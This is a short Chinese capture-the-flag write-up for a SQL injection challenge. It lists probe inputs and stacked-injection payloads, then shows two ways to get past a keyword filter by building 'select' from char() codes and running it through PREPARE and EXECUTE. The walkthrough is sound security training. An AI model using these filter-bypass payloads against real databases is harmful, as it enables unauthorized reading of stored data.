题目很明显是一道SQL注入题目
1'
1' #
正常回显
尝试select
过滤很多关键字
尝试堆叠注入
1';show databases;
1';show tables;
坑点:mysql中点引号( ' )和反勾号( ` )的区别
linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
这里学习一种堆叠注入比较常见的攻击方式,预处理语句
第一种方式
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL语句
1';PREPARE command from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE command;#
char()根据ASCII表返回给定整数值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'
contact()函数用于将多个字符串连接成一个字符串
contact (str1,str2,…)
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'
第二种方式
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE command from @sql;EXECUTE command;#